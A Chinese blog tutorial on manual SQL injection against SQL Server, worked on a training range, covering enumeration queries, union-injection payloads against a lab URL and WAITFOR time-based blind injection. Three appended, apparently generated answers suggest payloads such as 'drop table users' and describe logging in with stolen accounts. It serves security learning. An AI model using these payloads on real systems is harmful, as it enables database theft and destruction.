Sql Server数据库手工注入

目录

Sql Server

Sql Server数据库的查询语句

union注入

延时注入


这里感谢墨者学院提供的靶场:https://www.mozhe.cn/bug/detail/90

Sql Server

SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 -- 。

QLServer有三个权限级别:

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
  • db权限:文件管理,数据库操作等权限 users-administrators
  • public权限:数据库操作 guest-users

断当前用户权限

判断是否是SA权限
select is_srvrolemember('sysadmin')     
判断是否是db_owner权限  
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')

SQLServer数据库有6个默认的库,分别是4个系统数据库:mastermodel msdbtempdb,和2个实例数据库:ReportServerReportServerTempDB。其中,系统数据库 model 和 tempdb 默认是没有数据表的。

master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。

但是如果用navicat远程连接的话,只会显示2个实例数据库:ReportServerReportServerTempDB

Sql Server数据库的查询语句

select @@version;       #查询数据库的版本
select @@servername;    #查询服务名
select host_name();     #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name();       #查询当前数据库名
select db_name(1);      #查询第一个数据库名
select db_name(2);      #查询第二个数据库名
select user;            #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner 
use tempdb              #切换到tempdb表  
top n                   #查询前n条记录
limit 2,3               #查询第2条开始的3条数据,也就是2,3,4
select substring('string',2,1)     #截取给定字符串的索引为2的1个字符
select ascii('a')                  #查询给定字符串的ascii值
select len('string')               #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE';  #查询当前数据库的大小
sp_spaceused '表名'                #查询指定表名的大小
 
判断是否是SA权限
select is_srvrolemember('sysadmin')     
判断是否是db_owner权限  
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
 
#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB
 
count(name)是查询总数
name是查询名字
*是查询详细信息
 
#查询数据库
select count(name) from sysdatabases     #查询数据库的个数,只有当前数据库是master的时候,才能执行该命令
select name  from sysdatabases           #查询数据库的名字
select * from sysdatabases               #查询所有数据库的信息
 
#查询数据表
select count(name) from sysobjects where type='U' #查询当前数据库中表的个数
select name from sysobjects where type='U'  #查询当前数据库中所有表的名字
select * from sysobjects where type='U'    #查询当前数据库的所有表的详细信息
 
select count(name) from test..sysobjects where xtype='U'  #查询指定test数据库中表的个数
select name from test..sysobjects where xtype='U'         #查询指定test数据库中表的名字
select * from test..sysobjects where xtype='U'            #查询指定test数据库中表的详细信息
 
#查询列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')            #查询当前数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')         #查询当前数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')      #查询当前数据库的指定users表的列的详细信息
 
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')     #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查询指定test数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查询指定test数据库的指定users表的列的详细信息
 
#查询数据
select count(*) from test..users          #查询test数据库user表的数据的条数
select * from test..users                 #查询test数据库user表的所有数据

union注入

页面如下,先寻找注入点,点击如下通知

进入到新的页面

1. 判断注入点

http://219.153.49.228:45266/new_list.asp?id=2'  报错
http://219.153.49.228:45266/new_list.asp?id=2 and 1=1   正常显示(后面可以加--+也可以不加)
http://219.153.49.228:45266/new_list.asp?id=2 and 1=2   不正常显示

由此猜测后台的sql语句如下

$sql= "select * from test where id=".$id;

2. 判断数据库类型

//判断是否是 Mysql数据库
and exists(select*from information_schema.tables)
//判断是否是 access数据库
and exists(select*from msysobjects)
//判断是否是 Sqlserver数据库
and exists(select*from sysobjects)

判断出数据库为sqlserver


3. 判断字段数

首先order by查看有几列
?id=2 order by 2  正常显示
?id=2 order by 3  不正常显示
?id=2 order by 4  正常显示
?id=2 order by 5  不正常显示
?id=2 order by 6  后面的都不正常显示
说明有4列

判断回显

?id=-2 union all select '22','33','44','55'     #这里的数字为什么要加引号才行了?

4. 判断数据库名

?id=-2 union all select '22','33',db_name(),'55'       #查询当前数据库名
?id=-2 union all select '22','33',db_name(1),'55'
?id=-2 union all select '22','33',db_name(2),'55'
?id=-2 union all select '22','33',db_name(3),'55'
?id=-2 union all select '22','33',db_name(4),'55'

mozhe_db_v2、master、tempdb、model、msdb

5. 查询数据库中表的个数

查询mozhe_db_v2数据库中表的个数

union all select 1,(select top 1 name from 数据库名.sysobjects where type='u'),'3',4

未完~

延时注入

延时命令:WAITFOR  DELAY  '0:0:n'     (n代表秒)

WAITFOR是SQL Server中Transact-SQL提供的一个流程控制语句。它的作用就是等待特定时间,然后继续执行后续的语句。它包含一个参数DELAY,用来指定等待的时间。如果将该语句成功注入后,会造成数据库返回记录和Web请求也会响应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注入成功。根据Web请求是否有延迟,渗透测试人员就可以判断网站是否存在注入漏洞。同时,由于该语句并不返回特定内容,所以它也是盲注的重要检测方法。

成功延时4秒进行响应

由于WAITFOR不是SQL的标准语句,所以它只适用于SQL Server数据库。

参考 :

https://www.jianshu.com/p/d635ae330549

https://blog.csdn.net/qq_36119192/article/details/88679754

### 回答1: 为防止SQL手工输入漏洞,可以采用以下措施进行漏洞测试: 1. 输入特殊字符进行测试,如单引号、注释符号等。 2. 输入超长字符进行测试,如超过字段长度的字符、超过表字段数量的字符等。 3. 输入SQL关键字进行测试,如SELECT、UPDATE、DELETE等。 4. 输入恶意代码进行测试,如SQL注入攻击、XSS攻击等。 5. 对输入参数进行参数化处理,避免字符串拼接。 6. 对用户输入进行格式化处理,允许输入合法的字符和长度。 7. 检查SQL Server的配置选项,确保其安全设置已开启。 ### 回答2: SQL手工注入漏洞测试是一种测试技术,用于测试Web应用程序中是否存在SQL注入漏洞,这种漏洞可以让攻击者轻易地绕过应用程序的身份验证和授权机制,并获得对数据库的完全控制。本文将以SQL Server数据库为例,介绍如何进行SQL手工注入漏洞测试。 首先,我们需要了解SQL注入漏洞的原理。当Web应用程序接收到从用户提交的表单等输入后,如果没有进行严格的数据验证和过滤,那么攻击者可以通过构造特定的注入字符串来控制SQL查询语句的执行,从而实现对数据库的非法访问和篡改。 接下来,我们可以通过以下步骤进行测试: 1. 找到Web应用程序中的参数输入点,如表单、URL参数等; 2. 通过构造特定的注入字符串来检测是否存在SQL注入漏洞,如在用户名输入框中输入 'or '1'='1,如果程序出现异常或显示了所有用户信息,则表示存在注入漏洞; 3. 探测数据库表结构和数据,可以使用如 union select、information_schema等命令来获取敏感信息; 4. 利用漏洞进行数据库攻击,如修改数据、删除数据等操作,可以通过如'or 1=1; drop table users或其他恶意代码来实现。 针对SQL注入漏洞,我们应该采取一些有效的防御措施,如使用参数化查询、过滤输入数据、限制数据库用户权限等。在实际测试中,我们应该尽可能地模拟攻击者进行测试,以提高漏洞发现的准确性和有效性。 总之,SQL手工注入漏洞测试是非常重要的安全测试技术之一,它可以帮助我们发现和修复潜在的漏洞,提高Web应用程序的安全性和可靠性。 ### 回答3: SQL手工注入漏洞测试是一种重要的安全测试方法,它是指通过手动输入特殊的SQL命令来测试系统是否存在SQL注入漏洞,以及挖掘出系统的弱点,提高系统的安全性和稳定性。下面我们从SQL Server数据库的角度来探讨SQL手工注入漏洞测试的过程和方法。 1. 收集信息 在测试之前,我们需要了解目标系统的基本架构和相关信息,包括系统的IP地址、操作系统类型、数据库类型和版本等。这些信息对之后的测试很有帮助。同时,我们需要对目标网站进行收集数据,主要是了解系统中存在的可注入点,如输入框、URL参数等。 2. 确认目标点 在了解了系统的结构和目标点后,我们需要验证这些点是否存在注入漏洞。此时,我们可以通过手工注入的方式来验证这些点是否存在漏洞。我们可以通过在可搜索的输入框中输入一些关键词,如单引号、双引号、分号等来判断该输入框是否存在注入漏洞。 3. SQL命令编写 在验证了目标点是否存在注入漏洞后,需要编写SQL命令来实现对目标系统的攻击。SQL命令通常以结构化查询语言中的SELECT、UPDATE、INSERT等开头,后面跟着一些语句来完成对数据库的读取、修改、插入等操作。需要注意的是,编写的SQL命令应该是专攻该漏洞的,能够最大程度地利用漏洞,获取相应的敏感信息。 4. 利用漏洞获取敏感信息 通过运用编写好的SQL命令,我们可以获取系统中的敏感信息,如用户信息、密码等。在获取到这些信息后,我们可以使用这些账户来登录系统,从而获取更多的信息。 总之,SQL手工注入漏洞测试是一种有效的安全测试方法。在完成测试后,我们应该及时汇总和总结测试结果,做好安全和防护措施,确保系统的安全和可靠性。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Vibe~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值